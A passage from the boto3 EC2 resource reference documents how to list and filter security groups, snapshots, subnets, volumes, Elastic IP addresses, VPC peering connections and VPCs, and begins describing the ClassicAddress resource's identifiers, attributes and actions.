. Otherwise, it is UnauthorizedOperation . +- **NextToken** (_string_) -- The token to request the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. This value can be between 5 and 1000. If this parameter is not specified, then all results are returned. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = ec2.security_groups.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +page_size(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = ec2.security_groups.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +snapshots + +A collection of Snapshot resources.A Snapshot Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = ec2.snapshots.all() + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +filter(kwargs_) + +Creates an iterable of all Snapshot resources in the collection filtered by kwargs passed to method.A Snapshot collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = ec2.snapshots.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - description - A description of the snapshot. + - encrypted - Indicates whether the snapshot is encrypted (true | false ) + - owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + - owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + - progress - The progress of the snapshot, as a percentage (for example, 80%). + - snapshot-id - The snapshot ID. + - start-time - The time stamp when the snapshot was initiated. + - status - The status of the snapshot (pending | completed | error ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - volume-id - The ID of the volume the snapshot is for. + - volume-size - The size of the volume, in GiB. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +- **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +- **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + - _(string) --_ +- **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + - _(string) --_ +- **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = ec2.snapshots.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +page_size(kwargs_) + +Creates an iterable of all Snapshot resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = ec2.snapshots.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +subnets + +A collection of Subnet resources.A Subnet Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = ec2.subnets.all() + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +filter(kwargs_) + +Creates an iterable of all Subnet resources in the collection filtered by kwargs passed to method.A Subnet collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = ec2.subnets.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + SubnetIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - availability-zone - The Availability Zone for the subnet. You can also use availabilityZone as the filter name. + - availability-zone-id - The ID of the Availability Zone for the subnet. You can also use availabilityZoneId as the filter name. + - available-ip-address-count - The number of IPv4 addresses in the subnet that are available. + - cidr-block - The IPv4 CIDR block of the subnet. The CIDR block you specify must exactly match the subnet's CIDR block for information to be returned for the subnet. You can also use cidr or cidrBlock as the filter names. + - default-for-az - Indicates whether this is the default subnet for the Availability Zone. You can also use defaultForAz as the filter name. + - ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the subnet. + - ipv6-cidr-block-association.association-id - An association ID for an IPv6 CIDR block associated with the subnet. + - ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the subnet. + - owner-id - The ID of the AWS account that owns the subnet. + - state - The state of the subnet (pending | available ). + - subnet-arn - The Amazon Resource Name (ARN) of the subnet. + - subnet-id - The ID of the subnet. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the subnet. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = ec2.subnets.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +page_size(kwargs_) + +Creates an iterable of all Subnet resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = ec2.subnets.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +volumes + +A collection of Volume resources.A Volume Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = ec2.volumes.all() + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +filter(kwargs_) + +Creates an iterable of all Volume resources in the collection filtered by kwargs passed to method.A Volume collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = ec2.volumes.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VolumeIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - attachment.attach-time - The time stamp when the attachment initiated. + - attachment.delete-on-termination - Whether the volume is deleted on instance termination. + - attachment.device - The device name specified in the block device mapping (for example, /dev/sda1 ). + - attachment.instance-id - The ID of the instance the volume is attached to. + - attachment.status - The attachment state (attaching | attached | detaching ). + - availability-zone - The Availability Zone in which the volume was created. + - create-time - The time stamp when the volume was created. + - encrypted - Indicates whether the volume is encrypted (true | false ) + - multi-attach-enabled - Indicates whether the volume is enabled for Multi-Attach (true | false ) + - fast-restored - Indicates whether the volume was created from a snapshot that is enabled for fast snapshot restore (true | false ). + - size - The size of the volume, in GiB. + - snapshot-id - The snapshot from which the volume was created. + - status - The state of the volume (creating | available | in-use | deleting | deleted | error ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - volume-id - The volume ID. + - volume-type - The Amazon EBS volume type (gp2 | gp3 | io1 | io2 | st1 | sc1 | standard ) + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **VolumeIds** (_list_) -- + + The volume IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumes in paginated output. When this parameter is used, DescribeVolumes only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeVolumes request with the returned NextToken value. This value can be between 5 and 500; if MaxResults is given a value larger than 500, only 500 results are returned. If this parameter is not used, then DescribeVolumes returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +- **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeVolumes request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = ec2.volumes.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +page_size(kwargs_) + +Creates an iterable of all Volume resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = ec2.volumes.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +vpc_addresses + +A collection of VpcAddress resources.A VpcAddress Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = ec2.vpc_addresses.all() + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +filter(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection filtered by kwargs passed to method.A VpcAddress collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = ec2.vpc_addresses.filter( + PublicIps=[ + 'string', + ], + AllocationIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + Default: Describes all your Elastic IP addresses. + + - _(string) --_ +- **AllocationIds** (_list_) -- + + [EC2-VPC] Information about the allocation IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = ec2.vpc_addresses.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +page_size(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = ec2.vpc_addresses.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = ec2.vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = ec2.vpc_peering_connections.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + - accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + - accepter-vpc-info.vpc-id - The ID of the accepter VPC. + - expiration-time - The expiration date and time for the VPC peering connection. + - requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + - requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + - requester-vpc-info.vpc-id - The ID of the requester VPC. + - status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + - status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-peering-connection-id - The ID of the VPC peering connection. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + - _(string) --_ +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = ec2.vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = ec2.vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +vpcs + +A collection of Vpc resources.A Vpc Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Vpc resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc_iterator = ec2.vpcs.all() + +Return type + +list(ec2.Vpc) + +Returns + +A list of Vpc resources + +filter(kwargs_) + +Creates an iterable of all Vpc resources in the collection filtered by kwargs passed to method.A Vpc collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc_iterator = ec2.vpcs.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VpcIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + - cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + - cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + - cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + - dhcp-options-id - The ID of a set of DHCP options. + - ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + - ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + - ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + - ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + - isDefault - Indicates whether the VPC is the default VPC. + - owner-id - The ID of the AWS account that owns the VPC. + - state - The state of the VPC (pending | available ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **VpcIds** (_list_) -- + + One or more VPC IDs. + + Default: Describes all your VPCs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.Vpc) + +Returns + +A list of Vpc resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Vpc resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc_iterator = ec2.vpcs.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Vpc) + +Returns + +A list of Vpc resources + +page_size(kwargs_) + +Creates an iterable of all Vpc resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc_iterator = ec2.vpcs.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Vpc) + +Returns + +A list of Vpc resources + +[ClassicAddress](#id1237) +-------------------------------------------------------------------------- + +_class_ EC2.ClassicAddress(_public_ip_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) ClassicAddress: + +import boto3 + +ec2 = boto3.resource('ec2') +classic_address = ec2.ClassicAddress('public_ip') + +Parameters + +**public_ip** (_string_) -- The ClassicAddress's public_ip identifier. This **must** be set. + +These are the resource's available identifiers: + +- [public_ip](#EC2.ClassicAddress.public_ip "EC2.ClassicAddress.public_ip") + +These are the resource's available attributes: + +- [allocation_id](#EC2.ClassicAddress.allocation_id "EC2.ClassicAddress.allocation_id") +- [association_id](#EC2.ClassicAddress.association_id "EC2.ClassicAddress.association_id") +- [carrier_ip](#EC2.ClassicAddress.carrier_ip "EC2.ClassicAddress.carrier_ip") +- [customer_owned_ip](#EC2.ClassicAddress.customer_owned_ip "EC2.ClassicAddress.customer_owned_ip") +- [customer_owned_ipv4_pool](#EC2.ClassicAddress.customer_owned_ipv4_pool "EC2.ClassicAddress.customer_owned_ipv4_pool") +- [domain](#EC2.ClassicAddress.domain "EC2.ClassicAddress.domain") +- [instance_id](#EC2.ClassicAddress.instance_id "EC2.ClassicAddress.instance_id") +- [network_border_group](#EC2.ClassicAddress.network_border_group "EC2.ClassicAddress.network_border_group") +- [network_interface_id](#EC2.ClassicAddress.network_interface_id "EC2.ClassicAddress.network_interface_id") +- [network_interface_owner_id](#EC2.ClassicAddress.network_interface_owner_id "EC2.ClassicAddress.network_interface_owner_id") +- [private_ip_address](#EC2.ClassicAddress.private_ip_address "EC2.ClassicAddress.private_ip_address") +- [public_ipv4_pool](#EC2.ClassicAddress.public_ipv4_pool "EC2.ClassicAddress.public_ipv4_pool") +- [tags](#EC2.ClassicAddress.tags "EC2.ClassicAddress.tags") + +These are the resource's available actions: + +- [associate()](#EC2.ClassicAddress.associate "EC2.ClassicAddress.associate") +- [disassociate()](#EC2.ClassicAddress.disassociate "EC2.ClassicAddress.disassociate") +- [get_available_subresources()](#EC2.ClassicAddress.get_available_subresources "EC2.ClassicAddress.get_available_subresources") +- [load()](#EC2.ClassicAddress.load "EC2.ClassicAddress.load") +- [release()](#EC2.ClassicAddress.release "EC2.ClassicAddress.release") +- [reload()](#EC2.ClassicAddress.reload "EC2.ClassicAddress.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +public_ip + +_(string)_ The ClassicAddress's public_ip identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.ClassicAddress.load "EC2.ClassicAddress.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +allocation_id + +- _(string) --_ + + The ID representing the allocation of the address for use with EC2-VPC. + + +association_id + +- _(string) --_ + + The ID representing the association of the address with an instance in a VPC. + + +carrier_ip + +- _(string) --_ + + The carrier IP address associated. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). + + +customer_owned_ip + +- _(string) --_ + + The customer-owned IP address. + + +customer_owned_ipv4_pool + +- _(string) --_ + + The ID of the customer-owned address pool. + + +domain + +- _(string) --_ + + Indicates whether this Elastic IP address is for use with instances in EC2-Classic (standard ) or instances in a VPC (vpc ). + + +instance_id + +- _(string) --_ + + The ID of the instance that the address is associated with (if any). + + +network_border_group + +- _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +network_interface_owner_id + +- _(string) --_ + + The ID of the AWS account that owns the network interface. + + +private_ip_address + +- _(string) --_ + + The private IP address associated with the Elastic IP address. + + +public_ipv4_pool + +- _(string) --_ + + The ID of an address pool. + + +tags + +- _(list) --_ + + Any tags assigned to the Elastic IP address. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate(kwargs_) + +Associates an Elastic IP address, or carrier IP address (for instances that are in subnets in Wavelength Zones) with an instance or a network interface. Before you can use an Elastic IP address, you must allocate it to your account. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +[EC2-Classic, VPC in an EC2-VPC-only account] If the Elastic 